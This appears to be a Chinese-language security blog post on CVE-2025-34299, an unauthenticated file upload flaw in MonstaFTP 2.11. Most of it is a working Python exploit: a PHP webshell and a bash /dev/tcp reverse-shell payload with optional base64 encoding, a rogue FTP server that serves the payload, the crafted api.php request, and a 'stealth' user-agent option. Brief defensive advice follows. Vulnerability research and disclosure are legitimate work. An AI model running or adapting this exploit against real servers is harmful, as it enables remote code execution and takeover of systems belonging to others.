MonstaFTP 未授权文件上传漏洞利用技术分析

本文详细分析了MonstaFTP软件中存在的未授权文件上传漏洞(CVE-2025-34299),并提供了完整的Python漏洞利用代码,支持反向Shell和Webshell两种攻击模式,涉及FTP服务器搭建、payload生成和API接口利用等技术细节。

MonstaFTP 未授权文件上传漏洞利用

发布日期: 2025年12月1日
作者: ibrahimsql
风险等级: 中等
本地利用:
远程利用:
CVE编号: CVE-2025-34299
CWE分类: CWE-434(不安全的文件上传)

漏洞概述

MonstaFTP(版本2.11)存在一个未授权的文件上传漏洞,攻击者可以利用此漏洞在目标服务器上上传任意文件,从而导致远程代码执行(RCE)。

技术细节

漏洞位置

漏洞存在于MonstaFTP的API接口中,具体位于:

1
/application/api/api.php

攻击原理

攻击者通过构造特定的HTTP请求,利用FTP连接功能将恶意PHP文件从攻击者控制的FTP服务器下载到目标服务器的可访问目录中。

利用代码分析

1. 核心导入模块

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import argparse
import base64
import json
import os
import random
import requests
import socket
import string
import sys
import tempfile
import threading
import time
import urllib3
from pwn import remote
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

2. Payload生成函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def generate_payload(lhost, lport, mode, encode=False):
    random_cmd = ''.join(random.choices(string.ascii_letters, k=6))
    
    if mode == "webshell":
        payload = f"<?php if(isset($_GET['{random_cmd}'])) {{system($_GET['{random_cmd}']);}} unlink(__FILE__); ?>"
    else:
        shell_cmd = f"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1 &'"
        if encode:
            encoded = base64.b64encode(shell_cmd.encode()).decode()
            payload = f"<?php $f=__FILE__; exec(base64_decode('{encoded}')); unlink($f); ?>"
        else:
            payload = f"<?php $f=__FILE__; exec(\"{shell_cmd}\"); unlink($f); ?>"
    
    return payload, random_cmd

3. FTP服务器设置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def start_ftp_server(host, port, lhost, lport, mode, encode):
    ftp_dir = tempfile.mkdtemp()
    random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=12)) + '.php'
    payload_file = os.path.join(ftp_dir, random_filename)
    
    payload, cmd_param = generate_payload(lhost, lport, mode, encode)
    
    with open(payload_file, 'wb') as f:
        f.write(payload.encode())
    
    user = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
    
    authorizer = DummyAuthorizer()
    authorizer.add_user(user, pwd, ftp_dir, perm="elradfmw")
    
    ExploitFTPHandler.authorizer = authorizer
    server = FTPServer((host, port), ExploitFTPHandler)
    server.max_connections = 256
    
    return server, ftp_dir, f"/{random_filename}", user, pwd, cmd_param

4. 漏洞利用函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def exploit(target, host, port, lhost, lport, mode, stealth, encode):
    # ... 设置监听器线程 ...
    
    api_url = f"{target.rstrip('/')}/application/api/api.php"
    request_data = {
        "connectionType": "ftp",
        "configuration": {
            "host": host,
            "username": user,
            "initialDirectory": "/",
            "password": pwd,
            "port": port
        },
        "actionName": "downloadFile",
        "context": {
            "remotePath": remote,
            "localPath": local
        }
    }
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": random.choice(USER_AGENTS) if stealth else "python-requests"
    }
    
    # 发送利用请求
    response = requests.post(
        api_url,
        data={"request": json.dumps(request_data)},
        headers=headers,
        timeout=30,
        verify=False
    )

5. 攻击模式

  • 反向Shell模式:在攻击者机器上设置监听器,目标服务器连接回来
  • Webshell模式:上传一个可通过HTTP访问的Webshell,支持命令执行

命令行参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
usage: exploit.py [-h] [--host HOST] [--port PORT] [--lhost LHOST] [--lport LPORT]
                  [--mode {reverse,webshell}] [--stealth] [--encode]
                  target

positional arguments:
  target                目标URL

optional arguments:
  -h, --help            显示帮助信息
  --host HOST           FTP服务器主机(默认:172.17.0.1)
  --port PORT           FTP服务器端口(默认:2121)
  --lhost LHOST         监听器主机(默认:172.17.0.1)
  --lport LPORT         监听器端口(默认:4444)
  --mode {reverse,webshell} 攻击模式(默认:reverse)
  --stealth             启用隐蔽模式
  --encode              Base64编码payload

防御建议

  1. 及时更新:升级到MonstaFTP的最新版本
  2. 访问控制:限制对API接口的访问,添加身份验证机制
  3. 输入验证:对文件上传功能实施严格的输入验证和文件类型检查
  4. 网络隔离:限制FTP连接只能访问可信的服务器
  5. 监控日志:定期检查系统日志,监控异常文件上传行为

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计